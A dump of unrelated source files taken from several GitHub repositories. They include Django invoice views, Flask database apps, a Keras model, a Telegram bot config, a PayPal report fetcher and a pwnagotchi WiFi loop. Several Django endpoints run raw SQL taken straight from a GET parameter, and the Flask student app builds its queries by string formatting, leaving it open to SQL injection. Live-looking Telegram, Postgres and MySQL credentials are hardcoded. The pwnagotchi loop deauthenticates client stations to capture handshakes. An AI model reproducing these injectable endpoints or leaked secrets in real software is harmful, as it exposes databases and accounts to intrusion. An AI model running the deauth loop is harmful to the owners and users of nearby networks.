AllCounters.objects.filter(name=\"proformainvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n taxinfform = TaxInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n return render(request, \"Invoice/ProformaInvoice/convertproformainvoice.html\", context)\n\n\n# editing invoice\n@login_required\ndef editingcustomer(request, id):\n alldistributers = Profile.objects.all().order_by(\"user\")\n UserbasicData = User.objects.filter(id=id).first()\n CustomerProfileData = CustomerProfile.objects.filter(user_id=id).first()\n # currentUserName = currentUser.nameofcontact\n usercreationform = UserUpdateForm(instance=UserbasicData)\n profileform = CustomerProfileForm(instance=CustomerProfileData)\n\n if request.method == \"POST\":\n usercreationform = UserUpdateForm(request.POST,instance=UserbasicData )\n profileform = CustomerProfileForm(request.POST,instance=CustomerProfileData)\n if usercreationform.is_valid() and profileform.is_valid():\n usercreationform.save()\n profileform.save()\n messages.success(request, \"Edited successfully\")\n else:\n usercreationform = UserUpdateForm(instance=UserbasicData)\n profileform = CustomerProfileForm(instance=CustomerProfileData)\n messages.warning(request, \"Error in Editing!\")\n\n context = {\n \"form\": UserbasicData,\n \"profileform\": CustomerProfileData,\n \"alldistributers\": alldistributers,\n \"usercreationform\":usercreationform,\n \"profileupform\":profileform\n }\n return render(request, \"customer/editcustomer.html\", context)\n\n\n# cloning invoice\n@login_required\ndef cloninginvoice(request, id):\n # allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n # currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n # currentUser = Profile.objects.filter(user=request.user).first()\n # currentUserName = request.user#currentUser.nameofcontact\n # taxinfform = TaxInvoiceForm(request.POST or None)\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = request.user#currentUser.values_list('nameofcontact', flat=True)\n taxinfform = TaxInvoiceForm(request.POST or None)\n allproducts = Product.objects.all()\n gstvalues = gsttable.objects.all()\n invoiceid = id\n thatInvoice = taxInvoice.objects.filter(invoiceid=invoiceid).first()\n context = {\n \"currentUserName\":currentUserName,\n \"thatInvoice\": thatInvoice,\n \"invoiceid\": invoiceid,\n \"allproducts\": allproducts,\n \"allcustomers\": allcustomers,\n \"gstvalues\": gstvalues,\n \"currentcounter\": currentcounter.counter,\n \"taxinfform\": taxinfform,\n \"creatorid\": thatInvoice.creatorid,\n \"customerid\": thatInvoice.customerid,\n \"invoicedate\": thatInvoice.invoicedate,\n \"duedate\": thatInvoice.duedate,\n \"po\": thatInvoice.po,\n \"items\": thatInvoice.items,\n \"finalamount\": thatInvoice.finalamount,\n \"adjustmentamount\": thatInvoice.adjustmentamount,\n \"signature\": thatInvoice.signature,\n }\n if request.method == \"POST\":\n if taxinfform.is_valid():\n try:\n invoiceID = taxInvoice.objects.get(\n invoiceid=taxinfform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except taxInvoice.DoesNotExist:\n taxinfform.save()\n taxinfform = TaxInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n taxinfform = TaxInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n return render(request, \"Invoice/ProformaInvoice/convertproformainvoice.html\", context)\n\n\n\n \n# uodate individusal dealer\n@login_required\ndef updatingdealer(request, id):\n userid = id\n thatUser = User.objects.filter(id=userid).first()\n thatUserProfile = Profile.objects.filter(user=thatUser).first()\n allproducts = Product.objects.all()\n username = (thatUser.username,)\n\n Profiledata = {\n \"nameofcontact\": thatUserProfile.nameofcontact,\n \"telephone\": thatUserProfile.telephone,\n \"mobile\": thatUserProfile.mobile,\n \"contactparticulars\": thatUserProfile.contactparticulars,\n \"address\": thatUserProfile.address,\n \"pincode\": thatUserProfile.pincode,\n \"legalstatus\": thatUserProfile.legalstatus,\n \"gstno\": thatUserProfile.gstno,\n \"cinno\": thatUserProfile.cinno,\n \"panno\": thatUserProfile.panno,\n \"shopactno\": thatUserProfile.shopactno,\n \"businessgeography\": thatUserProfile.businessgeography,\n \"marketsegment\": thatUserProfile.marketsegment,\n \"currentproducts\": thatUserProfile.currentproducts,\n \"currentstaffstrength\": thatUserProfile.currentstaffstrength,\n \"customershandledsofar\": thatUserProfile.customershandledsofar,\n \"salersturnover\": thatUserProfile.salersturnover,\n \"parternshipcat\": thatUserProfile.parternshipcat,\n }\n profileform = ProfileForm(initial=Profiledata)\n return render(\n request,\n \"distributer/editingdealer.html\",\n {\n \"userid\": userid,\n \"allproducts\": allproducts,\n \"username\": username,\n \"profileform\": profileform,\n },\n )\n\n\n@login_required\ndef submitupdatedealer(request):\n setParam = request.GET.get(\"sqlParam1\", None)\n if setParam:\n cursor = connection.cursor()\n cursor.execute(setParam)\n\n else:\n return HttpResponse(\"no setParam\")\n\n return redirect(\"vieweditdealer\")\n\n\n# Delete dealer page\n@login_required\ndef deletedealer(request):\n alldealer = Profile.objects.all()\n\n return render(request, \"distributer/deletedealer.html\", {\"alldealer\": alldealer})\n\n\n@login_required\ndef deletingdealer(request, id):\n userid = id\n thatUser = User.objects.get(id=userid)\n thatUser.delete()\n return redirect(\"deletedealer\")\n\n # increase Invoice counter by 1\n\n\n@login_required\ndef removeinvoices(request):\n setParam = request.GET.get(\"sqlParam\", None)\n if setParam:\n cursor = connection.cursor()\n cursor.execute(setParam)\n else:\n return HttpResponse(\"no setParam\")\n\n return redirect(\"vieweditdealer\")\n\n\n@login_required\ndef removecustomer(request):\n setParam = request.GET.get(\"sqlParam\", None)\n if setParam:\n cursor = connection.cursor()\n cursor.execute(setParam)\n else:\n return HttpResponse(\"no setParam\")\n\n return redirect(\"vieweditcustomer\")\n\n\n@login_required\ndef editinvoices(request):\n setParam = request.GET.get(\"sqlParam\", None)\n if setParam:\n cursor = connection.cursor()\n cursor.execute(setParam)\n else:\n return HttpResponse(\"no setParam\")\n\n return redirect(\"vieweinvoices\")\n\n\n@login_required\ndef addtoinvoicedb(request):\n setParam = request.GET.get(\"sqlParam\", None)\n if setParam:\n cursor = connection.cursor()\n cursor.execute(setParam)\n\n else:\n return HttpResponse(\"no setParam\")\n\n return redirect(\"vieweinvoices\")\n\n\n# raw query to get all product data\n@login_required\ndef checkUserName(request):\n\n setParam = request.GET.get(\"sqlParam\", None)\n cursor = connection.cursor()\n cursor.execute(setParam)\n rows = cursor.fetchall()\n return JsonResponse(rows, safe=False)\n","repo_name":"SubodhP7029/MedPrime","sub_path":"mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":44186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2759063113","text":"from flask import Flask,g\r\nimport sqlite3\r\n\r\napp=Flask(__name__)\r\n\r\ndef connect_db():\r\n sql=sqlite3.connect('data.db')\r\n sql.row_factory=sqlite3.Row\r\n return sql\r\n\r\ndef get_db():\r\n if not hasattr(g,'sqlite3_db'):\r\n g.sqlite_db=connect_db()\r\n return g.sqlite_db\r\n\r\n@app.teardown_appcontext\r\ndef close_db(error):\r\n if hasattr(g,'sqlite_db'):\r\n g.sqlite_db.close()\r\n \r\n","repo_name":"jain-shreyansh/SmartBuilding","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13216102038","text":"\"\"\"Model implementing Deep Enhancer.\"\"\"\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Input, Reshape, Dense, Conv2D, BatchNormalization, MaxPool2D, Dropout, Flatten, AveragePooling2D\nfrom extra_keras_metrics import get_standard_binary_metrics\n\n__all__ = [\"fixed_cnn\"]\n\n\ndef fixed_cnn(\n window_size: int\n) -> Model:\n \"\"\"Return fixed CNN model.\"\"\"\n model = Sequential([\n Input((window_size, 4)),\n Reshape((window_size, 4, 1)),\n Conv2D(filters=64, kernel_size=(8, 1), activation=\"relu\"),\n MaxPool2D(pool_size=(2, 1)),\n Conv2D(filters=128, kernel_size=(3, 1), activation=\"relu\"),\n MaxPool2D(pool_size=(2, 1)),\n Conv2D(filters=128, kernel_size=(3, 1), activation=\"relu\"),\n AveragePooling2D(pool_size=(2, 1)),\n Flatten(),\n Dropout(rate=0.5),\n Dense(units=10, activation=\"relu\"),\n Dropout(rate=0.1),\n Dense(units=1, activation=\"sigmoid\"),\n ], name=\"FixedCNN\")\n\n model.compile(\n optimizer=\"nadam\",\n loss=\"binary_crossentropy\",\n # We add all the most common binary metrics\n metrics=get_standard_binary_metrics()\n )\n\n return model\n","repo_name":"AnacletoLAB/crr_prediction","sub_path":"crr_prediction/baseline_models/fixed_cnn.py","file_name":"fixed_cnn.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38081404692","text":"from aiogram import Bot, Dispatcher\r\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\r\nfrom aiogram.dispatcher.filters.state import StatesGroup, State\r\n\r\n\r\nadmin_id = 1141475192\r\nTOKEN = '5070610299:AAG1nnmISS99_czMOADldrP_nArYDArMXN4'\r\nURI = 'postgres://sbfqqjimvvqzyc:05185c25d6ef587b7cb9f85541a9902030e39dabe606c765a6f77ea9da80c544@ec2-54-74-14-109.' \\\r\n 'eu-west-1.compute.amazonaws.com:5432/d4eaaaje408rv8'\r\nbot = Bot(token=TOKEN, parse_mode='HTML')\r\ndp = Dispatcher(bot, storage=MemoryStorage())\r\n\r\n\r\nclass StQuiz(StatesGroup):\r\n waiting_purpose_score = State()\r\n waiting_way_calc = State()\r\n waiting_list_calc = State()\r\n waiting_present_score = State()\r\n waiting_amount_calc = State()\r\n waiting_comment = State()\r\n look_table = State()\r\n del_note = State()\r\n waiting_title = State()\r\n waiting_category = State()\r\n waiting_text_for_sending = State()\r\n","repo_name":"danman55575/grade_progress_bot","sub_path":"bot_manager.py","file_name":"bot_manager.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35345706968","text":"from flask import Blueprint, render_template, flash, request, url_for, redirect\nfrom flask_login import login_required, current_user\nfrom .dal import *\n\nview = Blueprint('view', __name__)\n\n\n@view.route('/')\n@login_required\ndef home():\n return render_template(\"home.html\", current_user=current_user)\n\n\n@view.route('/settings', methods=['GET'])\n@login_required\ndef settings():\n flash('Email already exists', category='error')\n areas = [\n {\n \"id\":1,\n \"name\": \"Area - 1\"\n },\n {\n \"id\": 2,\n \"name\": \"Area - 2\"\n },\n {\n \"id\": 3,\n \"name\": \"Area - 3\"\n }\n ]\n return render_template(\"settings.html\", tab=1, areas=areas)\n\n\n@view.route('/settings-create-rtsp-link', methods=['POST'])\n@login_required\ndef settings_create_rtsp_link():\n if request.method == 'POST':\n rtsp_link = request.form['link'].strip()\n rtsp_link_name = request.form['name'].strip()\n area_id = int(request.form['area_id'].strip())\n error = False\n if not rtsp_link.lower().startswith(\"rtsp://\"):\n flash(\"Invalid RTSP Link!\", category='error')\n error = True\n if len(rtsp_link_name) == 0:\n flash(\"Empty RTSP name!\", category='error')\n error = True\n\n if not error:\n if not add_media(rtsp_link_name, rtsp_link, StreamType.rtsp, area_id):\n flash(\"Cannot add rtsp link, already exists or area not found!\", category='error')\n else:\n flash(\"RTSP Link added successfully!\", category='success')\n\n return redirect(url_for('view.settings'))\n\n\n@view.route('/analytics', methods=['GET'])\n@login_required\ndef analytics():\n return render_template(\"video.html\", page_type=\"Analytics\", media_name=\"Dummy Video\", area_name=\"Dhaka\")\n\n\n@view.route('/clips', methods=['GET'])\n@login_required\ndef clips():\n return render_template(\"video.html\", page_type=\"Recorded Clips\", media_name=\"Dummy Clip\", area_name=\"Dhaka\")\n\n\n@view.route('/live', methods=['GET'])\n@login_required\ndef video():\n return render_template(\"video.html\", page_type=\"Live\", media_name=\"Dummy Live\", area_name=\"Dhaka\")\n","repo_name":"aimsadot/traffic","sub_path":"application/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"860358984","text":"#!/usr/bin/env python3\n\"\"\"\n generator and closuer =lesson2\n\"\"\"\nimport pandas as pd\n\ndef favorite(data, artist):\n \"\"\"\n generator function\n \"\"\"\n for x, y in data:\n if y == artist:\n yield (x, y)\n\ndef energy(a, b, c):\n \"\"\"\n closure with generators\n \"\"\"\n def high_energy(l):\n \"\"\"\n generator function\n \"\"\"\n for (x, y, z) in zip(a, b, c):\n if z >= l:\n #print (x,y,z)\n yield (str(x).encode('utf-8'), str(y).encode('utf-8'),\n round(z, 2))\n return high_energy\n\n\nif __name__ == \"__main__\":\n # I got an encoding when reading the file. i had to use utf-8 encoding\n music = pd.read_csv('featuresdf.csv', encoding='utf-8')\n artist = \"Ed Sheeran\"\n level = 0.8\n print(\"Favorite artist tracks: \\n\")\n #print(list(favorite(zip(music.name, music.artists), artist)))\n for i in favorite(zip(music.name, music.artists), artist):\n print(i)\n\n print(25*'---')\n print(\"Closure: high energy tracks:\\n\")\n he = energy(music.name, music.artists, music.energy)\n for i in he(level):\n print(i)\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_Course2_2018","sub_path":"students/AurelP/lesson2/generator_closure.py","file_name":"generator_closure.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"70436900508","text":"\"\"\"\nUtility methods for dealing with PayPal reports.\n\"\"\"\nimport csv\nimport datetime\nimport fnmatch\nimport json\n\nimport prefect\nfrom paramiko import SFTPClient, Transport\nfrom prefect import config, task\nfrom prefect.engine import signals\n\nfrom edx_prefectutils.s3 import get_s3_path_for_date, list_object_keys_from_s3\n\n\ndef check_paypal_report(sftp_connection, remote_filename, check_column_name):\n \"\"\"\n PayPal includes a row count metadata row to validate the report.\n - The type of a row is the first column of the row.\n - The number of rows with type 'SB' (the rows we care about) should equal the\n value of the single row of type 'SF'.\n - If there are 3 rows of type 'SB' then the second column of the 'SF' row should be 3.\n \"\"\"\n report_file = sftp_connection.open(remote_filename, 'r')\n # First 3 lines are un-needed header\n file_read = report_file.readlines()[3:]\n reader = csv.DictReader(file_read, delimiter=',')\n\n # \"CH\" here is the column name of the first column in the report, it's effectively nonsense but consistent.\n # It stands for \"column header\".\n # \"SB\" is the row type of rows we care about. It stands for \"section body\".\n # \"SF\" is the row type for summaries. It stands for \"section footer\".\n sb_count, sf_count = 0, 0\n for row in reader:\n if row['CH'] == 'SB':\n sb_count += 1\n if row['CH'] == 'SF':\n sf_count = int(row[check_column_name])\n break\n if sb_count != sf_count:\n raise Exception('Paypal row counts do not match for {}! Rows found: {}, Rows expected: {}'.format(\n remote_filename,\n sb_count,\n sf_count\n ))\n\n\ndef format_paypal_report(sftp_connection, remote_filename, date):\n \"\"\"\n Removes unnecessary header / metadata rows that will mess up Snowflake loading.\n \"\"\"\n report_file = sftp_connection.open(remote_filename, 'r')\n # First 3 lines are un-needed header\n file_read = report_file.readlines()[3:]\n reader = csv.DictReader(file_read, delimiter=',')\n\n output = []\n for row in reader:\n # \"CH\" here is the column name of the first column in the report, it's effectively nonsense but consistent.\n # It stands for \"column header\".\n # \"SB\" is the row type of rows we care about. It stands for \"section body\".\n if row['CH'] == 'SB':\n row['report_date'] = date\n output.append(row)\n\n return json.dumps(output)\n\n\ndef get_paypal_filename(date, prefix, connection, remote_path):\n \"\"\"\n Get remote filename. Sample remote filename: DDR-20190822.01.008.CSV\n \"\"\"\n logger = prefect.context.get(\"logger\")\n logger.info(connection)\n date_string = date.strftime('%Y%m%d')\n pattern = (prefix, date_string, 'CSV')\n remote_filepattern = \"*\".join(pattern)\n for file in connection.listdir(remote_path):\n # Ignore any file containing `_TEST` in its name.\n if fnmatch.fnmatch(file, remote_filepattern) and '_TEST' not in file:\n return file\n return None\n\n\nclass RemoteFileNotFoundError(Exception):\n pass\n\n\n# Retry every 10 minutes for 5 hours! This should hopefully handle situations when the report is abnormally late.\n@task(\n max_retries=30,\n retry_delay=datetime.timedelta(minutes=10),\n # Skip this retry filter until we upgrade to prefect 1.2.x since it is a new feature.\n retry_on=RemoteFileNotFoundError,\n)\ndef fetch_paypal_report(\n date: str,\n paypal_credentials: dict,\n paypal_report_prefix: str,\n paypal_report_check_column_name: str,\n s3_bucket: str,\n s3_path: str,\n overwrite: bool,\n):\n logger = prefect.context.get(\"logger\")\n logger.info(\"Pulling Paypal report for {}\".format(date))\n\n if not overwrite:\n # If we're not overwriting and the file already exists, raise a skip\n date_path = get_s3_path_for_date(date)\n s3_key = s3_path + date_path\n\n logger.info(\"Checking for existence of: {}\".format(s3_key))\n\n existing_file = list_object_keys_from_s3.run(s3_bucket, s3_key)\n\n if existing_file:\n raise signals.SKIP(\n 'File {} already exists and we are not overwriting. Skipping.'.format(s3_key)\n )\n else:\n logger.info(\"File not found, continuing download for {}.\".format(date))\n\n transport = Transport(config.paypal.host, config.paypal.port)\n transport.connect(\n username=paypal_credentials.get('username'),\n password=paypal_credentials.get('password')\n )\n sftp_connection = SFTPClient.from_transport(transport)\n\n query_date = datetime.datetime.strptime(date, \"%Y-%m-%d\")\n remote_filename = get_paypal_filename(query_date, paypal_report_prefix, sftp_connection, config.paypal.remote_path)\n\n try:\n if remote_filename:\n sftp_connection.chdir(config.paypal.remote_path)\n check_paypal_report(sftp_connection, remote_filename, paypal_report_check_column_name)\n formatted_report = format_paypal_report(sftp_connection, remote_filename, date)\n return date, formatted_report\n else:\n raise RemoteFileNotFoundError(\"Remote File Not found for date: {0}\".format(date))\n finally:\n sftp_connection.close()\n","repo_name":"edx/edx-prefectutils","sub_path":"edx_prefectutils/paypal.py","file_name":"paypal.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"27012646493","text":"import argparse\nfrom find_cyton import find_cyton\nfrom brainflow.board_shim import BoardShim, BoardIds, BrainFlowInputParams\nfrom time import sleep\n\nfrom functools import cached_property\n\nparser = argparse.ArgumentParser(\n\tprog='Board Streamer',\n\tdescription='Connect to a real EEG board or simulates an EEG board to send data over a socker',\n\t# epilog='Text at the bottom of help'\n)\n\nparser.add_argument(\n\t'-p', '--port',\n\ttype=int,\n\tdefault=800,\n\thelp='Port to send data to over sockets'\n)\n\nparser.add_argument(\n\t'-m', '--mode',\n\tchoices=['sim8', 'sim16', 'com'],\n\tdefault='com',\n\thelp='sets server mode'\n)\n\nparser.add_argument(\n\t'-w', '--window',\n\ttype=int,\n\tdefault=10,\n\thelp='determines the number of samples to aquire per packet'\n)\n\n'''\n\tReturns list for keyword arguments\n'''\nargs = parser.parse_args()\nargs = vars(args)\n\nclass CytonBoard:\n\tdef __init__(self, mode='com', window=10, **kargs):\n\n\t\tself.mode : str = mode\n\t\tself.window : int = window\n\n\t@cached_property\n\tdef board(self) -> BoardShim:\n\t\t'''\n\t\t\tcreates brainflow board instance\n\t\t'''\n\t\t\n\t\t# chooses between simulated board or real board\n\t\tif self.mode in ['sim8', 'sim16']:\n\t\t\tboard_args = BrainFlowInputParams()\n\t\t\tboard = BoardShim(\n\t\t\t\tBoardIds.SYNTHETIC_BOARD,\n\t\t\t\tboard_args\n\t\t\t)\n\t\telse:\n\t\t\tboard = find_cyton(lambda x : True)\n\n\t\tboard.prepare_session()\n\t\tboard.start_stream()\n\n\t\treturn board\n\n\t@cached_property\n\tdef eeg_channels(self) -> list:\n\t\t'''\n\t\t\tGets indices from the data packets that correspond to\n\t\t\tEEG channels\n\t\t'''\n\n\t\tif self.mode == 'sim8':\n\t\t\treturn self.board.get_eeg_channels(self.board.board_id)[:8]\n\t\telif self.mode == 'sim16':\n\t\t\treturn self.board.get_eeg_channels(self.board.board_id)[:16]\n\t\telse:\n\t\t\treturn self.board.get_eeg_channels(self.board.board_id)\n\n\tdef get_data(self) -> list:\n\t\t'''\n\t\t\tGets next data of size self.window\n\t\t'''\n\n\t\t# brings function to get amount of data in the ring buffer\n\t\t# into the local scope\n\t\tnum_samples = self.board.get_board_data_count\n\n\t\twhile num_samples() < self.window: \n\t\t\tsleep(0.004) # 4ms sleep since sample rate is 250 Hz\n\t\t\n\t\treturn self.board.get_board_data(self.window)[self.eeg_channels,:]\n\n\nboard = CytonBoard(**args)\n\nwhile True:\n\tdata = board.get_data()\n\n\t# insert socket code here\n","repo_name":"BostonUniversitySeniorDesign/brain-4ce","sub_path":"boardStreamer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"70183580828","text":"import time\nfrom datetime import datetime, timedelta\nimport pymongo\nimport sys \n\nclass CtrlMongo():\n def __init__(self):\n url = \"mongodb://ssnetworks.kr\"# + SSNET_DB_SERVER\n self.connection = pymongo.MongoClient(url, 8875)\n self.db = self.connection.stream\n self.camera = self.db.camera\n self.movie = self.db.movie\n self.person = self.db.person\n\n def get_collection(self, collection, query={}):\n #print(query)\n result = collection.find(query)\n data = [x for x in result]\n return data\n\n def get_query(self, date=None):\n if not date:\n date_1 = (datetime.today()+timedelta(1)).strftime('%Y-%m-%d')\n date = datetime.today().strftime('%Y-%m-%d')\n else:\n date_1 = (datetime.strptime(date ,'%Y-%m-%d')+timedelta(1)).strftime('%Y-%m-%d')\n date = datetime.strptime(date ,'%Y-%m-%d').strftime('%Y-%m-%d')\n query = {'created' : {'$gte':date, '$lt':date_1}}#+timedelta(1)}}\n #print(query)\n return query\n\n def get_result(self, date=None):\n camera = self.get_collection(self.db.camera)\n movie = self.get_collection(self.db.movie, self.get_query(date))\n person = self.get_collection(self.db.person, self.get_query(date))\n\n tmp = []\n for i in camera:\n tmp.append(i['phone'])\n tmp = list(set(tmp)) # 카메라컬렉션을 기준으로 농가번호 확인\n tmp2 = []\n for i in range(len(tmp)):\n for j in camera:\n if tmp[i]==j['phone']:\n tmp2.append({'phone':tmp[i], 'name':j['name'],'cow_count':0, 'person_count':0})\n break\n #print('카메라컬렉션 기준 농가')\n #print(tmp)\n #print(tmp2)\n for i in movie:\n for j in tmp2:\n if i['phone'] in j['phone']:\n j['cow_count']+=1\n for i in person:\n for j in tmp2:\n if i['phone'] in j['phone']:\n j['person_count']+=1\n for i in tmp2:\n print(i)\n\n '''\n def get_result(self, date=None):\n camera = self.get_collection(self.db.camera)\n movie = self.get_collection(self.db.movie, a.get_query(date))\n person = self.get_collection(self.db.person, a.get_query(date))\n\n tmp = []\n for i in camera:\n tmp.append(i['phone'])\n tmp = list(set(tmp)) # 카메라컬렉션을 기준으로 농가번호 확인\n tmp2 = tmp.copy()\n for i in range(len(tmp2)):\n for j in camera:\n if tmp2[i]==j['phone']:\n tmp2[i]=j['name']\n break\n #print('카메라컬렉션 기준 농가')\n #print(tmp)\n movie_result = dict.fromkeys(tmp, 0)\n for i in movie:\n if i['phone'] in tmp:\n movie_result[i['phone']]+=1\n #print(movie_result)\n movie_result_name={}\n for key, b in zip(movie_result.items(), tmp2):\n movie_result_name[b]=key[1]\n\n person_result = dict.fromkeys(tmp, 0)\n for i in person:\n if i['phone'] in tmp:\n person_result[i['phone']]+=1\n #print(person_result)\n person_result_name={}\n for key, b in zip(person_result.items(), tmp2):\n person_result_name[b]=key[1]\n\n print('{} 승가'.format(date))\n #print(movie_result_name)\n for value, key in enumerate(movie_result_name):\n print(key, value)\n print('\\n{} 출입'.format(date))\n for value, key in enumerate(person_result_name):\n print(key, value)\n #print(person_result_name)\n '''\nif __name__ == '__main__':\n #a.get_result()\n\n if len(sys.argv) != 2:\n print (\"{} [YYYY-MM-DD]\".format(sys.argv[0]))\n sys.exit()\n\n b = CtrlMongo()\n b.get_result(sys.argv[1])\n # a.get_result('2022-01-10') #없으면 오늘\n","repo_name":"ryanyeo4ai/AI-projects-cow","sub_path":"module/ssnet_mongo_check.py","file_name":"ssnet_mongo_check.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42359725948","text":"#!/usr/bin/python3\nimport argparse\nimport yaml\nimport time\nimport traceback\n\nimport core\nimport pwnagotchi\n\nfrom pwnagotchi.log import SessionParser\nfrom pwnagotchi.voice import Voice\nfrom pwnagotchi.agent import Agent\nfrom pwnagotchi.ui.display import Display\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-C', '--config', action='store', dest='config', default='/root/pwnagotchi/config.yml')\n\nparser.add_argument('--manual', dest=\"do_manual\", action=\"store_true\", default=False, help=\"Manual mode.\")\nparser.add_argument('--clear', dest=\"do_clear\", action=\"store_true\", default=False,\n help=\"Clear the ePaper display and exit.\")\n\nargs = parser.parse_args()\n\nif args.do_clear:\n print(\"clearing the display ...\")\n from pwnagotchi.ui.waveshare import EPD\n\n epd = EPD()\n epd.init(epd.FULL_UPDATE)\n epd.Clear(0xff)\n quit()\n\nwith open(args.config, 'rt') as fp:\n config = yaml.safe_load(fp)\n\ndisplay = Display(config=config, state={'name': '%s>' % pwnagotchi.name()})\nagent = Agent(view=display, config=config)\n\ncore.log(\"%s@%s (v%s)\" % (pwnagotchi.name(), agent._identity, pwnagotchi.version))\n# for key, value in config['personality'].items():\n# core.log(\" %s: %s\" % (key, value))\n\nif args.do_manual:\n core.log(\"entering manual mode ...\")\n\n log = SessionParser(config['main']['log'])\n\n core.log(\"the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)\" % (\n log.duration_human,\n log.epochs,\n log.train_epochs,\n log.avg_reward,\n log.min_reward,\n log.max_reward))\n\n while True:\n display.on_manual_mode(log)\n time.sleep(1)\n if config['twitter']['enabled'] and log.is_new() and Agent.is_connected() and log.handshakes > 0:\n import tweepy\n\n core.log(\"detected a new session and internet connectivity!\")\n\n picture = '/dev/shm/pwnagotchi.png'\n\n display.update()\n display.image().save(picture, 'png')\n display.set('status', 'Tweeting...')\n display.update()\n\n try:\n auth = tweepy.OAuthHandler(config['twitter']['consumer_key'], config['twitter']['consumer_secret'])\n auth.set_access_token(config['twitter']['access_token_key'], config['twitter']['access_token_secret'])\n api = tweepy.API(auth)\n\n tweet = Voice(lang=config['main']['lang']).on_log_tweet(log)\n api.update_with_media(filename=picture, status=tweet)\n log.save_session_id()\n\n core.log(\"tweeted: %s\" % tweet)\n except Exception as e:\n core.log(\"error: %s\" % e)\n\n quit()\n\ncore.logfile = config['main']['log']\n\nagent.start_ai()\nagent.setup_events()\nagent.set_ready()\nagent.start_monitor_mode()\nagent.start_event_polling()\n\n# print initial stats\nagent.next_epoch()\n\nwhile True:\n try:\n # recon on all channels\n agent.recon()\n # get nearby access points grouped by channel\n channels = agent.get_access_points_by_channel()\n # check for free channels to use\n agent.check_channels(channels)\n # for each channel\n for ch, aps in channels:\n agent.set_channel(ch)\n\n if not agent.is_stale() and agent.any_activity():\n core.log(\"%d access points on channel %d\" % (len(aps), ch))\n\n # for each ap on this channel\n for ap in aps:\n # send an association frame in order to get for a PMKID\n agent.associate(ap)\n # deauth all client stations in order to get a full handshake\n for sta in ap['clients']:\n agent.deauth(ap, sta)\n\n # An interesting effect of this:\n #\n # From Pwnagotchi's perspective, the more new access points\n # and / or client stations nearby, the longer one epoch of\n # its relative time will take ... basically, in Pwnagotchi's universe,\n # WiFi electromagnetic fields affect time like gravitational fields\n # affect ours ... neat ^_^\n agent.next_epoch()\n except Exception as e:\n core.log(\"main loop exception: %s\" % e)\n core.log(\"%s\" % traceback.format_exc())\n","repo_name":"nieldk/pwnagotchi","sub_path":"pwnagotchi/sdcard/rootfs/root/pwnagotchi/scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"23364616619","text":"\nfrom flask import Flask, request\nfrom flask_mysqldb import MySQL\nmysql = MySQL()\napp = Flask(__name__, static_url_path='')\n# My SQL Instance configurations \n# Change the HOST IP and Password to match your instance configurations\napp.config['MYSQL_USER'] = 'root'\napp.config['MYSQL_PASSWORD'] = 'enter6134'\napp.config['MYSQL_DB'] = 'studentbook'\napp.config['MYSQL_HOST'] = '35.195.246.83'\nmysql.init_app(app)\n# The first route to access the webservice from http://external-ip:5000/ \n#@pp.route(\"/add\") this will create a new endpoints that can be accessed using http://external-ip:5000/add\n@app.route(\"/\")\ndef hello(): # Name of the method\n cur = mysql.connection.cursor() #create a connection to the SQL instance\n cur.execute('''SELECT * FROM students''') # execute an SQL statment\n rv = cur.fetchall() #Retreive all rows returend by the SQL statment\n return str(rv) #Return the data in a string format\n\n@app.route(\"/add//\")\ndef add(username , email) :\n\tcur = mysql.connection.cursor()\n\tcur.execute('''INSERT INTO students (studentName, email) values ('%s','%s')''' % (username, email)) \n\tcur.execute('commit;')\n\treturn 'added :)'\n\n@app.route(\"/update//\")\ndef update(name1, name2) :\n cur = mysql.connection.cursor()\n cur.execute('''UPDATE students SET studentName = '%s' WHERE studentName LIKE '%s' ''' % (name1 , name2))\n cur.execute('commit;')\n return 'All Hail King Steve'\n\n@app.route(\"/delete/\")\ndef delete(name) :\n\tcur = mysql.connection.cursor()\n\tcur.execute('''DELETE from students WHERE studentName LIKE '%s' ''' % 